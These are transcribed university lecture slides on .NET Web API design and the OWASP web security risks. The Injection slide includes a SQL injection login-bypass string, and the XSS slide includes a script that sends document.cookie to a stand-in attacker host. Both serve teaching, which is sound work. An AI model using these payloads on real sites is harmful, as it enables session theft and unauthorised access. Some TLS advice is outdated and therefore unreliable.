Transcript Introduction To .NET Core 1.0 - Universitatea „Alexandru Ioan Cuza”

Introduction to .NET
Florin Olariu
“Alexandru Ioan Cuza”, University of Iași
Department of Computer Science
Agenda

Best practices in Web API’s

Securing Web Applications
Best practices in Web API’s

Semantic best practices

Technical best practices
Best practices in Web API’s - Semantic best
practices
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

GET - http://localhost:16991/v1/cities

GET - http://localhost:16991/v1/cities/1/poi

POST - http://localhost:16991/v1/cities/1/poi

PUT - http://localhost:16991/v1/cities/1/poi/3
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.
DO
DO NOT
Use GETs to get data.
Use status codes in a way that is not
expected. If returning a set of objects,
don’t return 404 if the set is empty—return
the empty set. That’s what people expect.
Use PUTs/POSTs to change/add data.
Use GETs to alter data or PUTs/POSTs to only
get data.
Pick a few good status codes to use
consistently and use them consistently and
correctly throughout your API.
Use every status code that tangentially
relates to what you’re trying to tell your
consumer. Use error messages to describe
invalid conditions.
Use the same general endpoint structure
throughout.
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.

Versioning Web API’s
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.

Versioning Web API’s
[Route("v1/cities")]
public class PoiController : Controller
{
}
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.

Versioning Web API’s.

KISS.
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.

Versioning Web API’s.

KISS.

Don’t expose more than you think needs exposing.
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.

Versioning Web API’s.

KISS.

Don’t expose more than you think needs exposing.

Don’t use 43 different status codes.
Best practices in Web API’s - Semantic best
practices

Think nouns, not verbs.

Be consistent.

Versioning Web API’s.

KISS.

Don’t expose more than you think needs exposing.

Don’t use 43 different status codes.

Keep your DTOs simple.
Best practices in Web API’s - Technical best
practices
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.

public class Poi
{
public int Id { get; set; }
public string Name { get; set; }
public string Description { get; set; }
}
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.

public class Poi
{
public int Id { get; set; }
public string Name { get; set; }
public string Description { get; set; }
}

public class PoiForCreatingDto
{
public string Name { get; set; }
public string Description { get; set; }
}

public IActionResult CreatePoi(int cityId, [FromBody] PoiForCreatingDto poi)
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.

Validate everything.
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.

Validate everything.

public class PoiForCreatingDto
{
[Required]
[MaxLength(30)]
public string Name { get; set; }
[Required]
[MaxLength(200)]
public string Description { get; set; }
}
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.

Validate everything.
[HttpPost("{cityId}/poi")]
public IActionResult CreatePoi(int cityId, [FromBody] PoiForCreatingDto poi)
{
if (poi == null)
{
return BadRequest();
}
if (!ModelState.IsValid)
{
return BadRequest(ModelState);
}…}
Best practices in Web API’s - Technical best
practices

Use DTOs to move data back and forth.

Validate everything.

Keep your controllers as thin as possible. Enforce separation of concerns.
Separation of concerns means things are testable.
Securing Web Applications
Securing Web Applications

Injection

Broken Authentication and Session Management

Cross-Site Scripting (XSS)

Insecure Direct Object References

Security Misconfiguration

Sensitive Data Exposure

Missing Function Level Access Control

Cross-Site Request Forgery (CSRF)

Using Known Vulnerable Components

Invalidated Redirects and Forwards
Injection
Injection

SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger'
Injection

SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger‘
Injection

SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger‘

SELECT * FROM Users WHERE Name ='' or '1'='1' AND Pass ='' or '1'='1'
Injection

SELECT * FROM Users WHERE Name ='Scott' AND Pass ='Tiger‘

SELECT * FROM Users WHERE Name ='' or '1'='1' AND Pass ='' or '1'='1‘

We can preventing this by using parametrized queries and input
validations.
Broken Authentication and Session
Management
Broken Authentication and Session
Management

The following are the most obvious loopholes which can leave your
application vulnerable to this threat.

User authentication credentials aren’t protected when stored using hashing or
encryption.

Credentials can be guessed or overwritten through weak account management
functions (e.g., account creation, change password, recover password, weak
session IDs).

Session IDs are exposed in the URL (e.g., URL rewriting).

Session IDs don’t timeout, or user sessions or authentication tokens, particularly
single sign-on (SSO) tokens, aren’t properly invalidated during logout.

Session IDs aren’t rotated after successful login.

Passwords, session IDs, and other credentials are sent over unencrypted
connections.
Broken Authentication and Session
Management

User Logins
Always use encrypted forms for user login./Validate form input./Avoid using remember me functionality with mission critical applications.
Provide users with a logout button to manually terminate a session/Consider supporting third-party authentication providers such as
Google or Facebook.

Password Policies
Provide two-factor authentication features/Expire all current sessions after changing passwords
Notify users of password changes via email or SMS/Ensure that passwords have an expiration date, and force a reset when necessary.
Implement strong complex password requirements

Session Control
Use strong random number generators to ensure you have a sufficiently long session Id
Store session ids in cookies and never pass them via URL parameters, hidden form fields, or custom HTTP headers
Use standard frameworks to handle security rather than writing your own custom session management systems
Set absolute time limits on session identifiers to ensure proper session expiration

Cookie Security
Store session identifiers in session cookies rather than persistent cookies./Set Secure cookie attribute to ensure such are transmitted over
secure connections./Set HttpOnly cookie to ensure scripts cannot access these cookies via DOM object.
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
<SCRIPT type="text/javascript">
var adr = 'http://www.evilWebsite.com/cookieGrabber.php?cookieInfo=' + escape(document.cookie);
</SCRIPT>
Cross-Site Scripting (XSS)

For all user inputs, use a whitelist validation approach as defined above in
SQL Injection section.

For all user inputs, use blacklist validation to filter or block any known
specific set of untrusted code patterns

Consider auto-sanitization libraries like OWASP’s Java HTML Sanitizer
Project.

Explicitly define character encoding and output mime types.

Turn off HTTP TRACE support on all webservers. An attacker can steal cookie
data via JavaScript even when document.cookie is disabled or not supported
on the client utilizing the underlying asynchronous HTTP trace event triggered
by the system to collect client cookie information from the server.
Insecure Direct Object References
Insecure Direct Object References

To protect against this threat, the only viable solution is to secure objects via
access control.

The logged-in user needs to be authorized for the requested information
before the server responds a query even when the underlying session is preauthenticated.
Security Misconfiguration
Security Misconfiguration

Ensure that all components such as the OS, webserver, app server, load balancer,
database etc. have the latest security updates.

Disable all default accounts.

Set the server-side directory permissions to least necessary that is required to run
the application.

Secure the log files and ensure periodic audits.

Deploy the web application with only those modules that are actually required.

Ensure that you have authorization controls on sensitive modules.

Secure by an Access Control List (by IP addresses) for restricted access on the
server file system.

Perform a periodic web-vulnerability scan.
Sensitive Data Exposure
Sensitive Data Exposure

Do not store sensitive data unnecessarily. Data that you don’t have can’t be stolen.

Disable ‘autocomplete’ on all forms that collect sensitive data, and disable caching for pages
that contain sensitive data.

Utilize the SALT technique in creating password hashes. A salt is random data added to the
hashing process to ensure that every hash of a password produces a unique result which
would ensure that an attacker must always compute the hash in a brute-force attack.

Ensure that passwords are stored with an algorithm that is specifically designed for password
protection, such as bcrypt, PBKDF2, or scrypt.

Ensure that the transport layer is secured via TLS. Avoid SSL, which was used before it was
deemed unsafe due to its significant security flaws. Ensure that the application supports at
least TLS v1.0. There are upgraded versions up to TLS v1.2 available, which should be used
when possible.

Ensure that server certificates are up-to date, and ensure that you use standard digital
certificate providers as mentioned in https://en.wikipedia.org/wiki/Certificate_authority,
Missing Function-Level Access Control
Missing Function-Level Access Control

Deny access to all sensitive pages and functions by default.

Consider role-based security to define clear boundaries for user access and
re-check user roles every time before allowing access to sensitive functions,
data, files, URLs, and services.

Centralize authorization functions and policy management.

Always make authorization decisions on the server side.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF)

Include a unique unpredictable runtime generated token in a hidden field for
all requests to the server. This causes the token value to be sent in the body
of the HTTP request and avoids its inclusion in the URL. The server would
then validate such token before executing the request.

Require users to re-authenticate when performing critical sensitive operations
can be another measure to prevent CSRF.

Have strong measures for re-authentication such as Captcha, 2 step
verification processes to exclude BOT activity.
Using Known Vulnerable Components
Using Known Vulnerable Components

Before you use any third party libraries, you must be confident that opensource developers on such apps are carefully vetted and there is a detailed
security review before they are used in your production environment.

Stay up to date with all reports of vulnerabilities via mailing lists, RSS feeds
etc. and check on all possible repercussions on your application.

Do not disclose the version numbers of any software components anywhere on
your application
Invalidated Redirects and Forwards
Invalidated Redirects and Forwards

Consider adopting a single-page-application design, where the underlying
navigation URL is not exposed to the end user.

Simply avoid using redirects and forwards.

If used, don’t involve user parameters in calculating the destination.

If destination parameters can’t be avoided, ensure that the supplied value is
valid, and authorized for the user. It is recommended that any such
destination parameters be a mapping value, rather than the actual URL or
portion of the URL, and that server side code translate this mapping to the
target URL.
One more thing…
One more thing…
Rules of Optimization:
Rule 1: Don't do it.
Rule 2 (for experts only): Don't do it yet.
Bibliography

Pluralsight
Questions

Do you have any other questions?
Thanks!
See you next time! 